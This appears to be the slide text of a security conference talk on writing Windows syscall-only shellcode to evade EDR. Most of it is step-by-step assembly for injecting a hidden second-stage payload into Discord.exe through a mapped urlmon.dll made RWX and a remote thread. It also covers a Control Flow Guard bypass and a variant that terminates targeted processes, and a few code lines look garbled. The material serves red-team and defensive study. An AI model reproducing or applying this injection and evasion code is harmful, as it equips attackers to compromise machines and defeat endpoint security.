1. `nasm [X]` - Uses x64 bytes in the style of `db 0xde,0xad,0xbe,0xef` for compilers like NASM
2. `inlineVS []` - Prepares x64 bytes for VisualStudio inline Assembly using the emit keyword:
   ```
   _emit 0xde
   _emit 0xad
   _emit 0xbe
   _emit 0xef
   ```
Example of Inline Assembly for x64 Bytes

ourSyscall:
   xor ecx, ecx
   lea edx, [esp+4]
push 0x33
call nextRetf2
nextRetf2:
   add [esp], 5
   retf

   _emit 0x67
   _emit 0x44
   _emit 0x88
   _emit 0x04
   _emit 0x24
   _emit 0x45
   _emit 0x89
   _emit 0x85
   _emit 0xBC
   _emit 0x00
   _emit 0x00
   _emit 0x00
   _emit 0x83
   _emit 0xC4
   _emit 0x04
   _emit 0x41
   _emit 0x89
   _emit 0xA5
   _emit 0x62

   ; Syscall Function

   ; Push 0x33 selector for 64-bit
   ; GetPC

   ; Create destination for Heaven's gate
   ; Invoke Heaven's gate--transition to x64 code

   ; x64 code as bytes, leading to syscall

   ; Formatted for VisualStudio inline Assembly

   ; mov r8d,dword ptr [esp]
   ; mov dword ptr [r13+0BCh],r8df
   ; add esp,0x4
   ; mov dword ptr [r13+0C8h],esp
   ; mov r8q,qword ptr [r13+1480h]
   ; and qword ptr [r12+1480h],0
   ; mov r11d,edx
   ; jmp qword ptr [r15+rcx*8]

ShellWasp: https://github.com/Bw3ll/ShellWasp
ShellWasp
Building Syscall Shellcode
Creating Shellcode with Windows Syscalls

- **Goal**: Create a shellcode that uses exclusively Windows syscalls, with no WinAPIs.
  - If we can achieve this, we **evade EDR**.
- **Problem**: There are vastly fewer syscalls than there are WinAPIs, meaning the functionality that can be achieved is more limited.
- **Our Task**: Create a shellcode that comprised of Windows syscalls that can inject another shellcode into a separate process, then causing that to start.
- **Requirements**: It must be able to **portable** across multiple operating systems and **multiple OS builds**.
  - This is the really tricky part. If we hardcode syscall IDs, it is not truly portable.
  - Windows 7 and Windows 10/11 both use slightly different mechanisms to perform the Wow64 syscall initialization.
    - Thus, shellcode that is not build with this in mind will only work on one OS.
Steps for Process Injection with Syscalls

1. Create a region of memory to hold our `SystemProcessInformation`.
2. Generate a listing of all active processes on the system via `SystemProcessInformation`.
3. Parse through the `SystemProcessInformation` results to identify the Process ID (PID) for our target app, Discord.
4. Open a handle to our target process, Discord.
5. Create a **file handle** to our `urlmon.dll`, where we will hide our stage two shellcode.
6. Create a **section handle** to `urlmon.dll`.
7. **Map our section** of `urlmon.dll` into the target process, Discord.
8. Change the **memory permissions** for our newly mapped `urlmon.dll` to **RWX**.

9. Write our stage two shellcode into Discord, **hiding** it inside of `urlmon.dll`.

10. **Create a thread**, telling it where to begin execution – which will be at the start of our stage two shellcode.

11. Cause that shellcode to begin **executing**.
Required Windows Syscalls

- NtAllocateVirtualMemory
- NtQuerySystemInformation
- NtOpenProcess
- NtCreateFile
- NtCreateSection
- NtMapViewofSection
- NtProtectVirtualMemory
- NtWriteVirtualMemory
- NtCreateThreadEx
- NtWaitForSingleObject
Create a Region of Memory

- A region of memory is needed to for our SystemProcessInformation:
  - In an environment with many active processes, you will need a lot of space.
  - Creating separate memory – rather than using existing memory, such as heap or stack, is better, as potentially this could be large.
  - NtAllocateVirtualMemory will return us an allocation with our desired RWX memory permissions.

```c
NTAPI NtAllocateVirtualMemory(
    IN HANDLE ProcessHandle, 
    IN OUT PVOID *BaseAddress, 
    IN ULONG ZeroBits, 
    IN OUT PULONG RegionSize, 
    IN ULONG AllocationType, 
    IN ULONG Protect);
```
Create a Region of Memory

```assembly
mov dword ptr [ebp - 0x18], 0x600000 ; Initialize size of memory
restart:
push edi
    ; Save pointer to syscall array

push 0x40
    ; ULONG Protect, 0x40
xor ebx, ebx
push 0x3000
    ; ULONG Protect
lea ebx, dword ptr[ebp - 0x18]
push ebx
    ; PSIZE_T RegionSize
xor ecx, ecx
push ecx
    ; ULONG_PTR ZeroBits
mov dword ptr[ebp - 0x280], 0
lea ebx, dword ptr[ebp - 0x280]
push ebx
    ; PVOID *BaseAddress, 0x00
push -1
    ; HANDLE ProcessHandle

mov eax, [edi+0x24]
    ; Load pointer to NtAllocateVirtualMemory syscall
call ourSyscall
    ; Initiate syscall

mov edi, [esp+0x18]
    ; Restore pointer to syscall array
push edi
    ; Save pointer to syscall array
```

- If a type **begins with a P**, we need to provide a **pointer** to that value or structure.
- If the type does not begin with a P, then we provide the value directly, as with the handle.
- -1 = **0xffffffff** – that is a shorthand for the **process itself**.
- 0x40 for Protect specifies **RWX**.
Create a SystemProcessInformation Struct

- **SystemProcessInformation** contains an exhaustive listing of all active processes.

- Once we have this, we can search through it to **get the Process ID (PID)** of our target process, **Discord.exe**.

- This **PID is required** in order to get a handle to the process.
  - No PID = no handle.
  - No handle = you cannot do anything!

- **NtQuerySystemInformation** can return many types of system information.
  - **SystemProcessInformation** is just one option of numerous possibilities.
SystemProcessInformation Structure

- We can simply use Assembly to iterate through all possible processes until we find **Discord.exe**.
- Then we can capture its PID.

This offset takes us to the next process.
Create a SystemProcessInformation Struct

push 0x40 ; ULONG Protect
mov dword ptr [ebp-0x20], 0x00000000
lea ecx, dword ptr [ebp-0x20]
push ecx ; PULONG ReturnLength
mov ecx, dword ptr [ebp-0x18]
push ecx ; ULONG SystemInformationLength
mov ecx, dword ptr [ebp - 0x280]
push ecx ; PVOID SystemInformation
push 0x00000005 ; 0x05 -> SystemProcessInformation
mov eax, [edi+0x20] ; NtQuerySystemInformation syscall
call ourSyscall
mov edi, [esp+0x10]
push edi

- The ebp-0x280 was allocated by NtAllocateVirtualMemory.
- This is where the SystemProcessInformation structure will be created.
- The 0x05 specifies that we want a SystemProcessInformation structure.
- If it needs more space, it will return the needed size in ReturnLength.
  - You could set up the Assembly to recall it with the ReturnLength value.
• We can build **Discord.exe** (Unicode format) on the stack, saving it to ebp-0xadd.

• We also need to create an **Object_Attributes** structure. It is mostly **null bytes**.
  – Only the **Length** needs to be specified. It will usually be **0x18** – the size of the structure.

```assembly
xor edx, edx
```

```assembly
push edx
push edx
mov dx, 0x65
push dx
mov dx, 0x78
push dx
mov dx, 0x65
push dx
mov dx, 0x2e
push dx
mov dx, 0x64
push dx
mov dx, 0x72
push dx
mov dx, 0x6f
push dx
mov dx, 0x63
push dx
mov dx, 0x73
push dx
mov dx, 0x69
push dx
mov dx, 0x44
push dx
push 0x00000018
mov [ebp-0xfe], esp
```

```assembly
; Discord.exe
mov dword ptr [ebp-0xdd], esp
```
parseProcesses:
mov eax, dword ptr[ebp-0x280] ; Start of SystemInformation structure
cmp eax, 0 ; Check to see if reached end
je finishedSearch
mov ebx, dword ptr[ebp-0x280]
mov esi, dword ptr[ebx+0x3c] ; Unicode for candidate process name
cmp esi, 0
je nextProc
mov edi, dword ptr[ebp-0xdd] ; Source, Discord.exe
mov ecx, 8
cld
repe cmpsb ; String comparison, checking to see if Discord.exe
jecxz finishedSearch
nextProc:
add eax, dword ptr[eax] ; No match! Add the size of current
mov dword ptr[ebp-0x280], eax ; entry to enumerate the next process.
jmp parseProcesses ; Save current process
Yes! We got our PID for Discord.exe

finishedSearch:
mov edi, [esp+0x32] ; Restore pointer to syscall array
push edi ; Save pointer to syscall array

mov ecx, esp
mov eax, dword ptr[ebx+0x44] ; Discord PID
mov dword ptr[ecx], eax

xor ecx, ecx
push ecx ; UniqueThread
push dword ptr[ebp-0x280] ; UniqueProcess
mov [ebp-0x1ff], esp ; Ptr to ClientId structure

xor edx, edx
push edx
mov dword ptr [ebp-0xbe], esp ; Create empty space for future Discord process handle.

- Now that we found a match for the Unicode string Discord.exe, we can now move to the part of the structure that contains the PID for Discord.
- We will also build an empty ClientID structure and a placeholder for the future Discord process handle.
  - These will be used shortly!
We provide pointers to our `ClientId` struct and our `Pobject_Attributes`. We specify `PROCESS_ALL_ACCESS`. Our ProcessHandle pointer is empty, but will contain the PID for `Discord.exe` after the syscall.

```assembly
mov ecx, [ebp-0x1ff]
push ecx ; PCLIENT_ID ClientId
mov ecx, [ebp-0xfe]
push ecx ; POBJECT_ATTRIBUTES
push 0x1FFFFFFF ; OBJECT_ATTRIBUTES
mov ecx, [ebp-0xbe]
push ecx ; PHANDLE ProcessHandle

mov eax, [edi+0x1c] ; NtOpenProcess syscall
call ourSyscall

mov edi, [esp+0x1c] ; Restore ptr to syscall array
push edi ; Save ptr to syscall array

NTAPI NtOpenProcess(
    OUT PHANDLE ProcessHandle,
    IN ACCESS_MASK DesiredAccess,
    IN POBJECT_ATTRIBUTES ObjectAttributes,
    IN PCLIENT_ID ClientId);
```
Preparing
Urlmon

xor edx, edx
push edx
mov dx, 0x6c
push dx
mov dx, 0x6c
push dx
mov dx, 0x64
push dx
mov dx, 0x2e
push dx
mov dx, 0x6e
push dx
mov dx, 0x6f
push dx
mov dx, 0x6d
push dx
mov dx, 0x6c
push dx
mov dx, 0x72
push dx
mov dx, 0x75
push dx
mov dx, 0x5c
push dx
mov dx, 0x5f
push dx
mov [ebp-0x2fd], esp ; urlmon.dll

• A pointer to the Unicode for urlmon.dll is put onto the stack.
• This pointer will be used for a UNICODE_STRING struct required for a syscall.
Preparing Urlmon for NtCreateFile

- Even though **Urlmon.dll** is in Unicode, it needs to be put into a **UNICODE_STRING** structure.
- The UNICODE_STRING structure is a parameter for the **OBJECT_ATTRIBUTES** structure we must create.
- The OBJECT_ATTRIBUTES structure is **required for NtCreateFile**.

```
xor edx, edx
push dword ptr [ebp-0x2fd]
    ; Buffer for Urlmon
mov dx, 70
push dx
    ; Max Length, with Null
mov dx, 68
push dx
    ; Length, without Null
mov [ebp-0xed], esp
    ; UNICODE_STRING
xor edx, edx
xor ecx, ecx
push edx
    ; SecurityQualityOfService NULL
push edx
    ; SecurityDescriptor NULL
inc ecx
shl ecx, 6
push ecx
    ; Attributes, OBJ_CASE_INSENSITIVE, 0x40
push dword ptr [ebp-0xed]
    ; UNICODE_STRING
push edx
    ; Root Directory NULL
push 0x18
    ; Length
mov [ebp-0x24], esp
    ; _OBJECT_ATTRIBUTES
```

**NTAPI** `NtCreateFile`

```
OUT PHANDLE       FileHandle,
IN ACCESS_MASK    DesiredAccess,
IN POBJECT_ATTRIBUTES ObjectAttributes,
OUT PIO_STATUS_BLOCK IoStatusBlock,
IN OUT PLARGE_INTEGER AllocationSize,
IN ULONG          FileAttributes,
IN ULONG          ShareAccess,
IN ULONG          CreateDisposition,
IN ULONG          CreateOptions,
IN PVOID          EaBuffer,
IN ULONG          EaLength);
```
NtCreateFile Syscall

push 0x00000000 ; ULONG EaLength NULL, (optional)
push 0x00000000 ; PVOID EaBuffer NULL, (optional)
push 0x00000860 ; ULONG CreateOptions, FILE_SYNCHRONOUS_IO_NONALERT
push 0x0003 ; ULONG CreateDisposition, OPEN_EXISTING, 0x03
push 0x1 ; FILE_SHARE_WRITE, 0x01
push 0x80 ; ULONG FileAttributes, FILE_ATTRIBUTE_NORMAL, 0x80
push 0x00000000 ; PLARGE_INTEGER AllocationSize NULL, (optional)
push dword ptr [ebp-0x48] ; out PIO_STATUS_BLOCK IoStatusBlock
push dword ptr [ebp-0x24] ; POBJECT_ATTRIBUTES ObjectAttributes
push 0x120089 ; ACCESS_MASK DesiredAccess, GENERIC_READ, 0x120089
lea ecx, [ebp-0x3dd]
push ecx ; PHANDLE FileHandle

mov eax, [edi+0x18] ; NtCreateFile syscall
call ourSyscall
mov edi, [esp+0xb0] ; Restore syscall array, 0x2c for syscall
; parameters. 0x8e for other stack cleanup.
push edi ; Save pointer to syscall array
With **NtCreateSection** we can create a **handle** to the **urlmon.dll**.

- We will **hide our second stage** payload in **urlmon.dll**.
- This section then be mapped out.
  - The section must be created.
  - **NtCreateSection** will output a handle to the section.

```asm
mov ecx, [ebp-0x3dd]  ; HANDLE FileHandle
push ecx              ; HANDLE FileHandle
push 0x1000000        ; ULONG AllocationAttributes
push 0x00000002       ; ULONG SectionPageProtection,
push 0                ; PLARGE_INTEGER MaximumSize
push 0x0              ; POBJECT_ATTRIBUTES, NULL
push 0x10000000       ; ACCESS_MASK DesiredAccess,
lea ecx, [ebp-0x324]  ; PHANDLE SectionHandle
push ecx              ; PHANDLE SectionHandle
mov eax, [edi+0x14]   ; NtCreateSection syscall
call ourSyscall      ; Restore ptr to syscall array
mov edi, [esp+0x2c]   ; Save ptr to syscall array
```

**NTAPI**

```c
NTAPI NtCreateSection(
    OUT PHANDLE SectionHandle,
    IN ACCESS_MASK DesiredAccess,  
    IN POBJECT_ATTRIBUTES ObjectAttributes,  
    IN PLARGE_INTEGER MaximumSize, 
    IN ULONG SectionPageProtection, 
    IN ULONG AllocationAttributes, 
    IN HANDLE FileHandle);
```
With `NtMapViewOfSection`, we are mapping the `urlmon.dll` section.

We map `urlmon.dll` to the `Discord.exe` process that we were able to get a `handle` for.

This syscall `returns the virtual address` where `urlmon.dll` is mapped to in `Discord.exe`.

```
push 0x00000040 ; ULONG Protect, RWX, 0x40
push 0x00000000 ; ULONG AllocationType NULL
push 0x00000001 ; DWORD InheritDisposition ViewShare
lea ecx, [ebp-0x98]
push ecx ; PULONG ViewSize
push 0x00000000 ; PLARGE_INTEGER SectionOffset NULL
push 0x00000000 ; ULONG CommitSize NULL
push 0x00000000 ; ULONG stackZeroBits NULL
lea ecx, [ebp-0x88]
push ecx ; PVOID *BaseAddress NULL
mov ecx, dword ptr[ebp-0xbe] ;
mov ecx, dword ptr [ecx]
push ecx ; HANDLE ProcessHandle
push dword ptr [ebp-0x324] ; HANDLE SectionHandle

mov eax, [edi+0x10] ; NtMapViewOfSection syscall
call ourSyscall
mov edi, [esp+0x28] ; Restore ptr to syscall array
push edi ; Save ptr to syscall array
```

**NTAPI ZwMapViewOfSection**

```
IN HANDLE SectionHandle,
IN HANDLE ProcessHandle,
IN OUT PVOID *BaseAddress,
IN ULONG_PTR ZeroBits,
IN SIZE_T CommitSize,
IN OUT PLARGE_INTEGER SectionOffset,
IN OUT PSIZE_T ViewSize,
IN SECTION_INHERIT InheritDisposition,
IN ULONG AllocationType,
IN ULONG Win32Protect);
```
Even though `urlmon.dll` is mapped into `Discord.exe`, we cannot write to it because we lack the proper permissions.

With `NtProtectVirtualMemory`, we can fix this, by changing it to `RWX`.

```assembly
NtProtectVirtualMemory

mov ecx, [ebp-0x424]
push ecx ; PULONG OldAccessProtection
push 0x00000040 ; ULONG NewAccessProtection, RWX
mov ecx, [ebp-0x64]
push ecx ; PULONG NumberOfBytesToProtect
lea ecx, [ebp-0x88]
push ecx ; PVOID *BaseAddress
mov ecx, dword ptr[ebp-0xbe]
mov ecx, dword ptr[ecx]
push ecx ; HANDLE ProcessHandle

mov eax, [edi+0xc] ; NtProtectVirtualMemory syscall
call ourSyscall
mov edi, [esp+0x34] ; 0x14 + 20= 34
push edi ; Save ptr to syscall array
```
With **NtWriteVirtualMemory**, we can write to an external process, **Discord.exe**, copying our second-stage shellcode into **urlmon.dll**.

- **NtMapViewOfSection** gave us the address for **Urlmon.dll**, which we use as the **base address**.
  - We move the start 0x3000 bytes, to hide it in the middle of **urlmon.dll**.

```assembly
push 0  ; PULONG NumberOfBytesWritten
push 0x100  ; ULONG NumberOfBytesToWrite
lea ecx, ourShell
add ecx, 0x4
push ecx  ; PVOID Buffer
lea ecx, [ebp-0x88]
mov edx, dword ptr [ecx]
add edx, 0x3000
mov dword ptr [ebp-0x88], edx
mov ecx, [ebp-0x88]
push ecx  ; PVOID BaseAddress
mov ecx, dword ptr[ebp-0xbe]
mov ecx, dword ptr [ecx]
push ecx  ; HANDLE ProcessHandle
mov eax, [edi+0x8] ; NtWriteVirtualMemory syscall
call ourSyscall
mov edi, [esp+0x14]; Restore ptr to syscall array
```

NTAPI **NtWriteVirtualMemory**(
IN HANDLE  ProcessHandle,
OUT PVOID   BaseAddress,
IN PVOID    Buffer,
IN ULONG    BufferSize,
OUT PULONG  NumberOfBytesWritten);
With **NtCreateThreadEx** we create a thread in our external process, **Discord.exe**.

**NtCreateThreadEx** will return a **handle** to our newly created thread.

In **Discord.exe**, the thread immediately runs.

- Other times, we force this to happen.

**NTAPI**

```
NtCreateThreadEx(
    OUT PHANDLE hThread,
    IN ACCESS_MASK DesiredAccess,
    IN LPVOID ObjectAttributes,
    IN HANDLE ProcessHandle,
    IN LPTHREAD_START_ROUTINE lpStartAddress,
    IN LPVOID lpParameter,
    IN BOOL CreateSuspended,
    IN ULONG StackZeroBits,
    IN ULONG SizeOfStackCommit,
    IN ULONG SizeOfStackReserve,
    OUT LPVOID lpBytesBuffer);
```
With **process injection**, sometimes **NtWaitForSingleObject** is **required**.

With our shellcode, it actually is **not needed**, but we do it anyway.

```assembly
push 0 ; PLARGE_INTEGER TimeOut
push 1 ; BOOLEAN Alertable TRUE
push dword ptr[ebp - 0x290] ; HANDLE ObjectHandle

mov eax, [edi] ; NtWaitForSingleObject syscall
call ourSyscall

mov edi, [esp+0xc]; Restore ptr to syscall array
push edi ; Save ptr to syscall array
```
Launching a second-stage shellcode via process injection to Discord.exe via inserted urlmon.dll
Microsoft’s **Control Flow Guard (CFG)** can cause some process injection efforts into external processes to **immediately fail**.

- That is true for **Discord.exe**.
- CFG checks all indirect calls to see if they are valid targets for indirect calls.

When attempting to start execution at such a location, such as injected second-stage shellcode, **ntdll!RtlpHandleInvalidUserCallTarget** is called, which leads to **ntdll!RtlFailFast2**.

- This **immediately** terminates the application.
- The fastfail calls a special system interrupt, **int 0x29**.
  - This is a second chance non-continuable exception that causes exception code 0xc0000409.
Control Flow and Discord

- **Process Hacker** shows that **Discord** utilizes **CFG**.

![Discord.exe Properties](image)
Defeating CFG with Syscalls

- There is a way to overcome CFG with a special syscall, **NtSetInformationVirtualMemory**.
  - **NtSetInformationVirtualMemory** is poorly documented and difficult to use, requiring complex set up.
    - Information on usage varies and has changed from documented sources.
      - Best bet? **Reverse engineer** it yourself.
    - With **NtSetInformationVirtualMemory**, you can create CFG exceptions for call sites or ranges of memory.
- There is no reason **NtSetInformationVirtualMemory** should not work with our shellcode, if implemented correctly.

```c
NTAPI NtSetInformationVirtualMemory(
    IN HANDLE hProcess,
    IN VIRTUAL_MEMORY_INFORMATION_CLASS VmCfgCallTargetInformation,
    ULONG_PTRNumberOfEntries,
    PVOID &tMemoryPageEntry,
    PVOID &tMemoryInformation,
    ULONG VmInformationLength,
);
```
The best way to implement `NtSetInformationVirtualMemory` is to trace its corresponding `kernlbase.dll` function, `SetProcessValidCallTargets`.

- Tracing `SetProcessValidCallTargets` and setting a breakpoint for `NtSetInformationVirtualMemory` can help reverse engineer the syscall's required parameters.

In testing, `SetProcessValidCallTargets` was able to bypass CFG and allow Discord.exe to be compromised with the syscall shellcode.

- `SetProcessValidCallTargets` internally calls `SetProcessValidCallTargetsSection`.
- `SetProcessValidCallTargets` is far simpler, with only a handful of parameters.
- `NtSetInformationVirtualMemory` has many required structures and far more elaborate setup.

```c
BOOL WINAPI SetProcessValidCallTargets(
   IN HANDLE hProcess,
   IN PVOID VirtualAddress,
   IN SIZE_T RegionSize,
   IN ULONG NumberOfOffsets,
   IN OUT PCFG_CALL_TARGET_INFO OffsetInformation
);
```
Tracing a syscall can involve looking at the corresponding WinAPI function, and examining its parameters.

- Here we the syscall's corresponding WINAPI, `SetProcessValidCallTargets`.
  - This will automatically lead to `NtSetInformationVirtualMemory`.
We can set a breakpoint for the syscall, **NtSetInformationVirtualMemory**. Once hit, we can then examine its parameters and the structures they point to.

- **SetProcessValidCallTargets** will naturally call the syscall on its own without us doing anything.

Via reverse engineering, we gain insights into its undocumented functionality.
Another Variation on the Same Shellcode

- What if instead of injecting shellcode, we did something **slightly annoying**, such as causing a specific process to terminate?

- We could identify a target process or processes.

- We then could cause it to **immediately terminate**.
  - If we wanted to, we could develop it further, put it in a loop, and cause **all instances** of it to terminate, as long as the shellcode was running.
Required Windows Syscalls

- NtAllocateVirtualMemory
- NtQuerySystemInformation
- NtOpenProcess
- NtTerminateProcess
Demo
Terminating a Targeted Process Syscall Shellcode
Tips and Tricks: Using Memory for Parameters

- Losing track of memory can be easy if using ESP/EBP, even if trying to be careful.
  - A value at EBP could be **overwritten inadvertently** without intending to do so.
  - Be **very careful** when creating structures or pointers to strings on the stack.
    - If a **syscall fails**, check the parameters to make sure they contain what you believe they should!
      - Sometimes they may not! They can **seemingly vanish**.
      - Some may get overwritten in **subtle or hard to trace** ways.
      - It is always advisable to check all parameters and structures carefully if a syscall fails. Is it a **memory issue**?
  - You can still use the stack for memory – just be careful, particularly if it is a **very long shellcode**!
Pointers vs. Non-pointers

- On average, syscalls **require significantly more pointers** as parameters than WinApi functions.
  - For instance, with `VirtualAlloc`, you must provide the value for a **size** directly.
  - With `NtAllocateVirtualMemory`, the comparable size must be provided as a pointer.
    - The pointer will be an address that contains the needed value, e.g. **size**.

---

**Stack values**

<table>
<thead>
<tr>
<th>Virtual: esp</th>
</tr>
</thead>
<tbody>
<tr>
<td>Display format: Pointer</td>
</tr>
<tr>
<td>06ff5ce 006ff423</td>
</tr>
<tr>
<td>006ff5d2 00120089</td>
</tr>
<tr>
<td>006ff5d6 006ff5fa</td>
</tr>
<tr>
<td>006ff5da 006ff612</td>
</tr>
<tr>
<td>006ff5e2 00000000</td>
</tr>
<tr>
<td>006ff5e6 00000001</td>
</tr>
<tr>
<td>006ff5ea 00000003</td>
</tr>
<tr>
<td>006ff5ee 00000860</td>
</tr>
<tr>
<td>006ff5f2 00000000</td>
</tr>
</tbody>
</table>

**POBJECT_ATTRIBUTES Structure**

```
0:000> dd 006ff61e
06ff61e 00460044 006ff626 003f005c 005c003f
```

**UNICODE_STRING Structure**

```
0:000> dd 006ff5fa
006ff5fa 00000018 00000000 006ff61e 00000040
006ff60a 00000000 00000000 00000000 00000000
```

**Actual Unicode string text**

```
0:000> du 006ff626
006ff626 "\??c:\Windows\SysWOW64\urlmon.d"
006ff666 "11"
```
The **hex values** for parameters are called **constants**.

- Some resources only give the constant's name, not its hex value.
  - Since we are writing Assembly, we need to find the equivalent hexadecimal values.

There are various ways to find hex values for constants.

- **Google** the name of the constant and related keywords.
- Check **Microsoft documentation**.
- Check header files for **Windows Software Development Kit (SDK)**.
- Use **Visual Studio** to compile code that has the constants.
  - Open it up in a disassembler or via a debugger to see the corresponding hexadecimal values.
NTStatus Codes

- Unlike WinAPI functions, important values are NOT returned in eax.
- Instead, every syscall returns an NTSTATUS code in eax.
  - **00000000** or **STATUS_SUCCESS** is generally what you want to see.
  - Other error messages are provided there.
  - Not all messages indicate an error—some are purely informational, such as **STATUS_IMAGE_NOT_AT_BASE** or **40000003**.
    - It succeeded—just at a different address.
  - NTSTATUS codes can be very helpful in troubleshooting syscalls.

![NTStatus Codes Table](http://deusexmachina.uk/ntstatus.html)
It is best to use **ShellWasp** to help find the correct format of syscalls & allow it to automate handling syscalls.

The easiest way to start to create syscall shellcode is with **inline Assembly** in Visual Studio.

- **Sublime** and **Developer Prompt** to compile it work well together.
- By doing this, you can easily set **breakpoints** into the shellcode itself with the **int 3** instruction (**0xcc**) .
  - Launch the shellcode in **WinDbg** to verify if things are correct.
  - Inline Assembly does have some limitations though.
Final Thoughts

- Creating syscalls likely will take much more effort than doing a comparable WinAPI shellcode.
- Not all functionality may be easily accessible via syscalls, as there are a lot fewer syscalls.
  - Complex, original functionality may take a lot of effort and involve a lot of reverse engineering and require creative, original thinking.
    - Many structures may be required!
  - If successful? You may have something that can evade EDR.
    - After all, this is the trait that makes syscalls so trendy and desirable among red teams.
Thank you, HITB!

- Be sure to download and star **ShellWasp**:  
  - [https://github.com/Bw3ll/ShellWasp](https://github.com/Bw3ll/ShellWasp)

- Check out SHAREM shellcode analysis framework:  
  - [https://github.com/Bw3ll/sharem](https://github.com/Bw3ll/sharem)